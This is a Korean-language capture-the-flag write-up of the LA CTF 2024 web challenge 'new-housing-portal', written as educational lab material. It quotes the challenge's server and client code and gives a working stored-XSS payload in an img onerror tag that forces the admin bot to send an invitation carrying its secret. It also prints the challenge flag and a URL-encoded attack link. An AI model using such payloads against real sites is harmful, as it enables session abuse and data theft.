[CTF Writeup / Web] LA CTF 2024 - new-housing-portal

[CTF Writeup / Web] LA CTF 2024 - new-housing-portal




안녕하세요. 이번 글에서는 LA CTF 2024에 출제된 Web 문제 new-housing-portal의 writeup을 작성해보도록 하겠습니다. 



After that old portal, we decided to make a new one that is ultra secure and not based off any real housing sites. Can you make Samy tell you his deepest darkest secret?

Hint - You can send a link that the admin bot will visit as samy.

Hint - Come watch the real Samy's talk if you are stuck!


문제 설명이고, Site URL과 Admin Bot URL, 문제 소스코드가 제공됩니다.



로그인 페이지













메인 페이지에 접근 시 로그인 및 회원가입 화면이 나옵니다.


메인 화면












회원가입을 하면 자동으로 로그인이 되며, Find Roomates와 View Invitations 메뉴가 있습니다.



Find Roomates














Find Roomates는 username 검색을 통해 조회하는 서비스인데, 여기서 username을 <img src=x>로 가입해둔 사람이 있어서 <img src=x>을 검색 시 XSS 취약점이 발생합니다.



View Invitations











그리고 View Invitations 메뉴는 나를 초대한 사용자의 리스트가 출력됩니다.


1
2
3
4
5
6
7
8
users.set('samy', {
  username: 'samy',
  name: 'Samy Kamkar',
  deepestDarkestSecret: process.env.FLAG || 'lactf{test_flag}',
  password: process.env.ADMINPW || 'owo',
  invitations: [],
  registration: Infinity
});
cs

server.js


사용자 samy의 deepestDarkestSecret에 FLAG가 저장됩니다. 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const $ = q => document.querySelector(q);
const $all = q => document.querySelectorAll(q);
 
(async () => {
  const { invitations } = await fetch('/invitation').then(r => r.json());
  $('.invitations').innerHTML = invitations.map((inv) => `
    <div class="invitation">
      <div class="col">
        <div class="from">From: ${inv.from}</div>
        <div class="secret">Deepest Darkest Secret: ${inv.deepestDarkestSecret}</div>
      </div>
      <div class="col">
        <button>Accept</button>
      </div>
    </div>
  `).join('\n');
 
  $all('button').forEach((button) => {
    button.addEventListener('click', () => {
      alert('Sorry! The System is under load, cannot accept invite!');
    })
  });
})();
cs

request/index.js


그리고 그 값은 View Invitations 메뉴에서 조회할 수 있습니다.



즉, 다음과 같은 프로세스로 FLAG를 획득할 수 있습니다.


1. Username이 username2인 계정 생성


2. /finder/에 POST로 username=username2 데이터를 포함하여 요청하는 JavaScript 작성 (invite 요청 코드)

1
fetch('https://new-housing-portal.chall.lac.tf/finder/',{method: 'POST',headers:{'Content-Type': 'application/x-www-form-urlencoded',},body: 'username=username2'});
cs


3. 2번에서 작성한 JavaScript를 포함하여 Username으로 하는 계정 생성

1
Username : <img src=x onerror="fetch('https://new-housing-portal.chall.lac.tf/finder/',{method: 'POST',headers:{'Content-Type': 'application/x-www-form-urlencoded',},body: 'username=username2'});">
cs


4. Find Roomates 메뉴에서 해당 사용자 검색하는 URL 획득

https://new-housing-portal.chall.lac.tf/finder/?q=%3Cimg%20src%3Dx%20onerror%3D%22fetch(%27https%3A%2F%2Fnew-housing-portal.chall.lac.tf%2Ffinder%2F%27%2C%7Bmethod%3A%20%27POST%27%2Cheaders%3A%7B%27Content-Type%27%3A%20%27application%2Fx-www-form-urlencoded%27%2C%7D%2Cbody%3A%20%27username%3Dusername1%27%7D)%3B%22%3E


5. Admin Bot에 4번 URL 입력

Admin Bot












6. username1의 View Invitations 메뉴에서 FLAG 획득

FLAG














lactf{b4t_m0s7_0f_a77_y0u_4r3_my_h3r0}














댓글